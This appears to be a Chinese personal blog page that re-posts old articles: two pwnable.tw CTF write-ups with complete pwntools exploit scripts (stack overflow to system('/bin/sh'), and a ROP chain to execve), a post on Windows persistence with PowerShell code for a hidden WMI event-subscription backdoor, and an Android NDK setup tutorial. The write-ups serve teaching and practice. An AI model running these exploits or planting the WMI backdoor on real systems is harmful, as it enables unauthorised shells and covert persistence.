陆续新增旧文章中

Because经营不善,之前farbox的博客倒闭…
So最近需要将一些旧文章转过来,因为之前的排版不规范,需要手动调整文章格式,较为费事 :-(

pwnable.tw-dubblesort

程序分析

题目地址https://pwnable.tw/challenge/#4
这道题目是一个冒泡排序的小程序,主要流程是这样的

[email protected]:~/Desktop/ctf/pwnable.tw$ ./dubblesort 
What your name :nottellyou
Hello nottellyou
,How many numbers do you what to sort :4
Enter the 0 number : 6
Enter the 1 number : 7
Enter the 2 number : 1
Enter the 3 number : 2
Processing......
Result :
1 2 6 7

### 检查下保护
[email protected]:~/Desktop/ctf/pwnable.tw$ checksec dubblesort
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[*] '/home/y11en/Desktop/ctf/pwnable.tw/dubblesort'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

题目有2处输入,一处是输入name,另一处是输入排序数组的信息项数和项信息。

问题1

在name输入的地方,由于没有初始化栈数据,导致打印name时后面栈上数据被泄露

int name[16]; // [esp+3Ch] [ebp-50h]
unsigned int v12; // [esp+7Ch] [ebp-10h]

v12 = __readgsdword(0x14u);
sub_8B5();
__printf_chk(1, (int)"What your name :", v8);
read(0, name, 0x40u); // 未初始化内存
__printf_chk(1, (int)"Hello %s,How many numbers do you what to sort :", (int)name);

问题2

在输入待排序项时,只有8个元素的的数组作为缓存,而实际待排序个数由用户输入 ,当这个大小 >8时,打印栈后数据,当然在其排序逻辑中,可以越界写数据。

int v10[8]; // [esp+1Ch] [ebp-70h]

...

__isoc99_scanf((int)"%u", (int)&numcount);
idx = numcount;
if ( numcount )
{
v4 = v10;
v5 = 0;
do
{
__printf_chk(1, (int)"Enter the %d number : ", v5);
fflush(stdout);
__isoc99_scanf((int)"%u", (int)v4); // 输入非数字导致该函数不执行实际功能
++v5;
idx = numcount;
++v4;
}
while ( numcount > v5 );
}

利用

栈数据泄露

scanf("%u",&x) 中%u是输入无符号整型的格式符。
为了保证只覆盖需要的数据(跳过stack cookie),我们需要知道在%u的格式符下,输入除去数字外的字符时不会被接收(不产生赋值操作),但只输入”+””-“可以被接收并且不产生赋值操作。

[email protected]:~/Desktop/ctf/pwnable.tw$ ./dubblesort 
What your name :a
Hello a
,How many numbers do you what to sort :3
Enter the 0 number : 0
Enter the 1 number : +
Enter the 2 number : 0
Processing......
Result :
0 0 3217242607 [email protected]:~/Desktop/ctf/pwnable.tw$

栈数据覆盖

由于不会被接收,所以字母类型的会一直在输入缓冲区放着,导致后面的也会不接收,造成程序唰唰唰的执行到底,这就无法满足我们想跳过前面1个覆盖第2个的需要,而“+”,“-”可以!
既然可以控制排序数组的边界,那么我们尝试输入一个超过其缓冲大小的值,使程序越界排序(按值由小到大排序),当然排序的不是目的,覆盖关键数据才是目的,为了劫持程序流程,通过覆盖返回地址的方式,同时保证stack cookie的值不会被改,构造如下数据:

1.  让 v10到cookie的值全部为0,为0的目的是保证排序时不干扰后面的值
2. 让cookie的值不变,也即输入+或者-
3. 覆盖返回地址

libc基址获取

  • 方式一
    通过获取程序主函数的返回地址,可以计算得到 __libc_start_main 的地址,由于提供了so文件,我们可以换算得到基址,但这就使得我们需要让程序的返回地址依然返回的程序主流程中,但这个貌似比较难,首先你得知道程序入口地址实际是什么

  • 方式二
    通过调试,我们可以发现在name的后面有一个存在libc中的地址

    pwndbg> x/20wx 0xbfffefdc
    0xbfffefdc: 0x0000fec7 0xbffff2ab 0x0000002f 0x0000009e
    0xbfffefec: 0x00000016 0x00008000 [0xb7fbb000]0xb7fb9244
    0xbfffeffc: 0x80000601 0x800007a9 0x80001fa0 0x00000001
    0xbffff00c: 0x80000b72 0x00000001 0xbffff0d4 0xbffff0dc
    0xbffff01c: 0x84cb9400 0xb7fbb3dc 0xbffff29b 0x80000b2b

    通过vmmap 命令在调试时查看libc的实际地址是 0xb7e09000,,相差0x1b2000,再通过readelf -S 看看本机libc这个地址是什么,再反查目标机器的地址

                                            addr   off  size
    ...
    本机
    [32] .got.plt PROGBITS 001b2000 1b1000 000030 04 WA 0 0 4
    目标机器
    [31] .got.plt PROGBITS 001b0000 1af000 000030 04 WA 0 0 4
    ...

    对比目标、目标机器的libc,可以得到如下计算目标libc基地址公式

    libc = leakaddr - 0x01b0000

    知道这个了,通过构造大小为24非\x00字符以及,利用输入时自带的\n,覆盖掉leakaddr的低位,最后在取值时进行处理即可。

    利用思路

  1. 泄露libc地址
  2. 找到system, binsh地址
  3. 通过排序设置返回地址

坑在哪?

这个题目的栈空间是一个比较坑的地方。
在布置栈分布时候,发现我们覆盖的返回地址与实际的返回地址存在偏差,而且通过数次的测试发现这个值有时会变,苦思冥想了很久,一开始以为是如下的主函数结束代码导致的

.text:00000B10 loc_B10:                                ; CODE XREF: main+146↑j
.text:00000B10 lea esp, [ebp-0Ch]
.text:00000B13 pop ebx
.text:00000B14 pop esi
.text:00000B15 pop edi
.text:00000B16 pop ebp
.text:00000B17 retn

但是,经过我一而再再而三的计算,发现并不是,因为这个栈的空间就是这样平着的,最后发现是函数开头的时候,对esp进行了对齐操作,这样在很大情况下,使得esp会丢失掉部分字节,而ida不知道啊,这也和上面不常见的lea esp, [ebp-0Ch]进行了对照。

.text:000009C3                 push    ebp
.text:000009C4 mov ebp, esp
.text:000009C6 push edi
.text:000009C7 push esi
.text:000009C8 push ebx
.text:000009C9 and esp, 0FFFFFFF0h ; 这个 真的 我f*ck
.text:000009CC add esp, 0FFFFFF80h

PWN

最终的利用代码如下:

from pwn import *
import time
DEBUG = 1
printf_plt = 0

LOCALFILE = './dubblesort'
HOST = 'chall.pwnable.tw'
PORT = 10101

#context.log_level = 'debug'
if DEBUG:
p = process(LOCALFILE)
#gdb.attach(p)
else:
p = remote(HOST, PORT)

def give_me_system_binsh(libc_base , libso):
libc=ELF(libso)
system_addr = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search("/bin/sh"))
return system_addr , binsh

def leaklibc():
#gdb.attach(p)
p.recvuntil("What your name :")
p.sendline("AAAA"*6)
buf = p.recvuntil("do you what to sort :").split(",")[0]
b = buf.split('\n')[1]
libaddr = u32("\x00"+b[:3])
if DEBUG:
libaddr -= 0x1b2000 #fix
else:
libaddr -= 0x1b0000 #fix
print (hex(libaddr))
return libaddr

def dubblesort(system_addr , binsh):
#能不能pwn看脸
print ("[+] dubblesort >>>")
p.sendline("36")
for i in range(0,36):
print (p.recvuntil("number : "))
if i == 24 : d = "+"
elif i>=25 and i <= 33:
if i == 28:
d = "+" # +
if i == 29:
d = str(system_addr)
else:
d = str(system_addr) #system_addr
elif i == 34 or i == 35: d= str(binsh) #binsh
else: d = "0"
print(d)
p.sendline(d)
p.recvuntil("Processing......")
#gdb.attach(p)
time.sleep(2)
print (p.recvuntil("Result :"))
print (p.recv())
print ("[+] dubblesort <<<")

def main():
libc = leaklibc()
if DEBUG:
s , sh = give_me_system_binsh(libc , "/lib/i386-linux-gnu/libc-2.23.so")
else:
s , sh = give_me_system_binsh(libc , "./libc_32.so_dubblesort.6")
print ((s) , (sh))
dubblesort(s,sh)
p.sendline('cat /home/dubblesort/flag')
p.interactive()
main()

pwnable.tw-calc

程序分析

题目地址: https://pwnable.tw/challenge/#3
这道题是一个计算器的小程序,通过输入表达式进行求值,不支持括号

[email protected]:~/Desktop/ctf/pwnable.tw$ ./calc 
=== Welcome to SECPROG calculator ===
1+1
2
1+6
7
8*6
48

Merry Christmas!
[email protected]:~/Desktop/ctf/pwnable.tw$

[*] '/home/y11en/Desktop/ctf/pwnable.tw/calc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

通过简单测试,发现输入+100000会造成程序崩溃,调试确定问题原因是发生在calc函数内部

unsigned int calc()
{
int value_stack[101]; // [esp+18h] [ebp-5A0h]
char inputBuf; // [esp+1ACh] [ebp-40Ch]
unsigned int v3; // [esp+5ACh] [ebp-Ch]

v3 = __readgsdword(0x14u);
while ( 1 )
{
bzero(&inputBuf, 1024u);
if ( !get_expr(&inputBuf, 1024) ) // 输入
break;
init_pool(value_stack);
if ( parse_expr(&inputBuf, value_stack) ) // parser
{
printf((const char *)&unk_80BF804, value_stack[value_stack[0] - 1 + 1]); //这里发生了crash
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v3;
}

这里的value_stack是运算变量栈,用于存放输入的运算符两边的数字,例如输入1+3,则value_stack的变化是这样的

value_stack 的运算值栈变化
value_stack[0] 是标记当前运算结果,value_stack[1...n] 是实际值
输入1 -> 1|1|
输入`+` 这里会进入运算符栈中
输入3 -> 2|1|3|
计算得 value_stack[value_stack[0]-1] += v[value_stack[0]] 也即 1+3 = 4,之后value_stack[0]--

但问题来了,当我们尝试输入+2时变化是这样的

输入+
输入1 -> 1|2
计算得 value_stack[value_stack[0]-1] += v[value_stack[0]] 也即 0 + 2 = 2,0 是由于程序默认赋值,之后value_stack[0]--
在打印的时候调用如下代码:
printf((const char *)&unk_80BF804, value_stack[value_stack[0] - 1 + 1]);
造成 打印value_stack[X])的效果,X是我们输入的+X中的X

知道通过输入+X可以泄露打印value_stack[X]的值,那么我们可以尝试泄露stack cookie来造成栈异常,但仔细研究了一下,除了运算符那个栈可溢出,但仅限于”+-*/“,所以实际意义不大,再仔细分析,可以发现,程序还可以造成栈上任意地址写的效果,
发生在eval的函数中

_DWORD *__cdecl eval(_DWORD *value_stack, char a2)
{
_DWORD *result; // eax

if ( a2 == '+' )
{
value_stack[*value_stack - 1] += value_stack[*value_stack];
}
else if ( a2 > '+' )
{
if ( a2 == '-' )
{
value_stack[*value_stack - 1] -= value_stack[*value_stack];
}
else if ( a2 == '/' )
{
value_stack[*value_stack - 1] /= value_stack[*value_stack];
}
}
else if ( a2 == '*' )
{
value_stack[*value_stack - 1] *= value_stack[*value_stack];
}
result = value_stack;
--*value_stack;
return result;
}

通过构造+X+Y或者+X-Y,当然*/也能用,如下

输入+
输入X -> 1|X
输入+ 计算得到 -> X| , 也即 (*value_stack) = X
输入Y ->
if ( Y > 0 )
{
v4 = (*value_stack)++; //注意这里的 ++造成后的X 变为 X + 1
value_stack[v4 + 1] = Y ;
}
计算得到 value_stack[(X + 1)- 1]+= Y
这里需要注意的是,写X位置处的值,会把X+1处的值填充掉

利用

好了原理都知道了,一个栈上任意读,一个任意写,可以很快的pwn掉,但有一个坑在于,这里面在布置int 80利用代码时,需要

eax=11 # sys_execve
ebx="/bin/sh"
ecx=0
edx=0

ebx需要在栈上面布置一个binsh的字符串,这就需要用到ebp了,而ebp>0x80000000 !!! 坑的是输入的值是一个int类型,无法写高于0x7FFFFFFF的值(因为你不能输入-进去当数字运算),所以这里用了一个小技巧,通过多次累加让目标值溢出,最终的利用代码如下,

from pwn import *
DEBUG = 0
printf_plt = 0

LOCALFILE = './calc'
HOST = 'chall.pwnable.tw'
PORT = 10100

#context.log_level = 'debug'
if DEBUG:
p = process(LOCALFILE)
#gdb.attach(p)
else:
p = remote(HOST, PORT)

def read_int(off):
p.sendline("+{0}".format(off))
x = p.recv()
x = int(x)
return x

def write_int(off,dat,op='+'):
p.sendline("+{0}{1}{2}".format(off,op,dat))
p.recvuntil("\n")


#0x080701AA : pop edx ; ret
#0x0805c34b : pop eax ; ret
#0x0809E7A4 : pop ebx ; pop esi ; ret
#0x080701d1 : pop ecx ; pop ebx ; ret
#0x08070880 : _dl_sysinfo_int80
pop_edx_ret = 0x080701AA
pop_eax_ret = 0x0805c34b
pop_ebx2_ret = 0x0809E7A4
pop_ecx2_ret = 0x080701d1
_dl_sysinfo_int80 = 0x08070880


#cookie 357
#ebp 360
#ret 361

def set0(off,y=0):
x = read_int(off)
print ('before: ' + hex((x if x >=0 else x+0x100000000)))
if (x > y):
x = (x-y)
print ('fix(-): ' + hex(x) , "to " + hex(y))
write_int(off,x,'-')
else:
if (y > 0x80000000):
print ('fix(*): ' + hex(x) , "to " + hex(y))
n = y / x
m = y % x
for i in range(0,n-1):
write_int(off,x,'+')
write_int(off,m,'+')
else:
x = y - x
print ('fix(+): ' + hex(x) , "to " + hex(y))
write_int(off,x,'+')
x = read_int(off)
print ('after: ' + hex((x if x >=0 else x+0x100000000)))

cookie = 357
ebp = 360
ret = 361

def pwn():
leak_cookie = read_int(cookie)
leak_ebp= read_int(ebp)
leak_ret= read_int(ret)
fleak_ebp = (leak_ebp if leak_ebp > 0 else leak_ebp+0x100000000)

binsh = fleak_ebp + 0x30
binsh = (binsh if binsh > 0 else binsh+0x100000000)
write_int(380,0x68732F,'+')
write_int(379,0x6E69622F,'+')
print ('binsh' , hex(binsh))

set0(ret,pop_eax_ret)
set0(ret+1,11)

set0(ret+2,pop_ecx2_ret)
set0(ret+3,0)

set0(ret+5,pop_ebx2_ret)
set0(ret+6,binsh)

set0(ret+8,pop_edx_ret)
set0(ret+9,0)
set0(ret+10,_dl_sysinfo_int80)

def main():
p.recvuntil('=== Welcome to SECPROG calculator ===\n')
pwn()
p.sendline("")
p.sendline("cat /home/calc/flag")
p.interactive()
main()

谈非PE在攻击中的"持久性"实现

本文主要探讨针对Windows平台攻击中,如何以非PE方式完成“持久性”后门的实现。

前言

在Windows平台下,我们习惯性将与PE可执行文件相对立的“脚本”(通常以源代码文本存储)称之为非PE,例如用Js、Vbs、Powershell、Bat等编写的文件,亦或者是安装有运行时宿主进程环境下的C#、Java、Python、PHP等文件。由于这些非PE文件的类型众多,因而其存在的形式也各种各样,攻击载荷的投递方式也千变万化。一次成功的攻击流程应该是信息收集 -> 渗透攻击 -> 后渗透攻击 -> 结束?其中“渗透攻击”经过一系列的攻击、绕过,从而接近”高价值“目标,在”后渗透攻击“阶段则进行价值挖掘,业务信息窃取等操作,同时为了保证攻击成果的最大化,通常需要保证从攻击方到目标点搭建一个稳定的、持续的通路,也即攻击的”持续性“。

正文

使用WMI进行驻留

权限要求:管理员权限
下面代码功能为 间隔300s调起powershell执行一次$EncScript功能


$fname = "XXX Filter"
$cname = "XXX Consumer"

try
{
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$EncScript = ''

$fp = @{
NameSpace = ('root\subscription')
CLASS = ('__EventFilter')
Arguments = @{ Name = $fname
EventNameSpace = ('root\cimv2')
QueryLanguage = ('WQL')
Query = $Query
}
Erroraction = ('SilentlyContinue')
}

$wmif = Set-WMIInstance @fp

$cp = @{
NameSpace = ('root\subscription')
CLASS = ('CommandLineEventConsumer')
Arguments = @{name = $cname ; CommandlIneteMplate = ('powershell.exe -NoP -NonI -W Hidden -E ' + "$EncScript") }
Erroraction = ('SilentlyContinue')
}

$wmic = Set-WMIInstance @cp
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$wmif;Consumer=$wmic}

}
catch
{

}

针对上述后门的清除


Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='$fname'" | Remove-WmiObject
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='$cname'" | Remove-WmiObject
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%XXX%'" | Remove-WmiObject

WMI中存储数据

$staticclass = new-object Management.ManagementClass('root\default',$null,$null)
$staticclass.Name = ('Win32_BotTag')
$staticclass.put()

#存储
$staticclass.properties.Add(('nob') , ' ')
$staticclass.put()

#取出
([WmiClass] 'root\default:Win32_BotTag').Properties['nob']

鉴于权限要求为管理员权限,一般情况下均需要bypassUAC,接下来聊聊完整性约束和UAC的相关问题。

Windows完整性机制与UAC

后记

时隔2个月之后,再次来填这个坑已经填不动了,本文的主要内容已经通过文章、演讲的方式与大家分享,具体的链接如下,

Xdef2017议题<非PE攻防之道> http://www.xdef.org.cn/xdef2017/speakers.html
<No Power No Shell --- 非PE攻击中的套路> https://bbs.pediy.com/thread-221871.htm

–本文完–

Android Studio NDK开发配置

网上有很多LJ教程,耽误时间不说,真能把人气死,废话不说了,开始Android StudioNDK开发配置。
###1.首先是新建一个android的工程
然后新建一个需要用native声明的jni接口类
工程视图下,以app为父节点创建名为jni的文件夹

创建JniUtils.java文件,内容如下

public class JniUtils {
public native static String getStringFromC();
static
{
System.loadLibrary("JniMain");
}
}

主要用来加载so库,并且声明native实现的方法

###2.接着,生成jni头文件,这里使用javah命令。
先将工程命令行切换到当前工程java文件处
输入javah -jni com.cn.yllen.myapplication.JniUtils后回车

在该目录下则可以看到com_cn_yllen_myapplication_JniUtils.h文件(包名+文件名称构成)
内容为

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class com_cn_yllen_myapplication_JniUtils */

#ifndef _Included_com_cn_yllen_myapplication_JniUtils
#define _Included_com_cn_yllen_myapplication_JniUtils
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: com_cn_yllen_myapplication_JniUtils
* Method: getStringFromC
* Signature: ()Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_com_cn_yllen_myapplication_JniUtils_getStringFromC
(JNIEnv *, jclass);
#ifdef __cplusplus
}
#endif
#endif

将其剪切到之前新建的jni文件夹下面,然后新建一个JniUtils.c文件,实现如上方法声明

#include "com_cn_yllen_myapplication_JniUtils.h"
jstring JNICALL Java_com_cn_yllen_myapplication_JniUtils_getStringFromC (JNIEnv *env, jclass clazz)
{
return (*env)->NewStringUTF(env, "from C say Hello");
}

###3.使用ndk-build编译so
(需要先下载NDK开发包,然后将其路径设置为系统环境变量path下)
继续新建一个Android.mk文件
内容为

# Copyright (C) 2009 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)

LOCAL_MODULE := JniMain # 要生成的so文件名称
LOCAL_SRC_FILES := JniUtils.c # 源码

include $(BUILD_SHARED_LIBRARY)

之后我们用ndk-build命令来编译so文件
正常情况下是

D:\asproj\MyApplication4\app>ndk-build
"Compile thumb : JniMain <= JniUtils.c
SharedLibrary : libJniMain.so
Install : libJniMain.so => libs/armeabi/libJniMain.so

但是有可能是这种情况,

D:\asproj\MyApplication4\app>ndk-build
[arm64-v8a] "Compile ": "JniUtils <= JniUtils.c"
process_begin: CreateProcess(NULL, E:/mobileSec/tools/android-sdk_r24.3.4-windows/android-sdk-windows/ndk-bundle/build//../toolchains/llvm/prebuilt/windows-x86_
64/bin/clang.exe -MMD -MP -MF ./obj/local/arm64-v8a/objs/JniUtils/JniUtils.o.d -gcc-toolchain E:/mobileSec/tools/android-sdk_r24.3.4-windows/android-sdk-windows/n
dk-bundle/build//../toolchains/aarch64-linux-android-4.9/prebuilt/windows-x86_64 -target aarch64-none-linux-android -ffunction-sections -funwind-tables -fstack-
protector-strong -fpic -Wno-invalid-command-line-argument -Wno-unused-command-line-argument -no-canonical-prefixes -g -O2 -DNDEBUG -Ijni -DANDROID -Wa,--noexecs
tack -Wformat -Werror=format-security --sysroot E:/mobileSec/tools/android-sdk_r24.3.4-windows/android-sdk-windows/ndk-bundle/build//../platforms/android-21/arc
h-arm64 -c jni/JniUtils.c -o ./obj/local/arm64-v8a/objs/JniUtils/JniUtils.o, ...) failed.
make (e=2):
make: *** [obj/local/arm64-v8a/objs/JniUtils/JniUtils.o] Error 2

这种我也不知道什么问题,我尝试的办法就是,找个短点的路径(如D:\test),将jni文件夹整个复制过去,然后编译,就可以成功,之后,将生成的libs文件夹拷贝过来就行了。
生成libs文件夹下会有

为了让studio能将so一同打包到apk中,需要在build.gradle(app)中如下红框内容的添加:

至此,so的已经可以随着build一同被打包到apk下’libs’文件夹中了,接着就是要对这个native方法的调用了,
###4.使用这个方法
我们新建一个按钮,在点击的同时,将native实现的接口返回值用Toast打印出来,代码如下:

public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Button button = (Button) findViewById(R.id.button_1);

button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Toast.makeText(MainActivity.this,JniUtils.getStringFromC(),Toast.LENGTH_SHORT).show();
}
});

}
}

###最后
网上虽然有很多各种hello world教程,但是鱼龙混杂,有些是真的坑。
通过本文的这些总结,希望之后的人不要再走坑
…. 7456 >m <``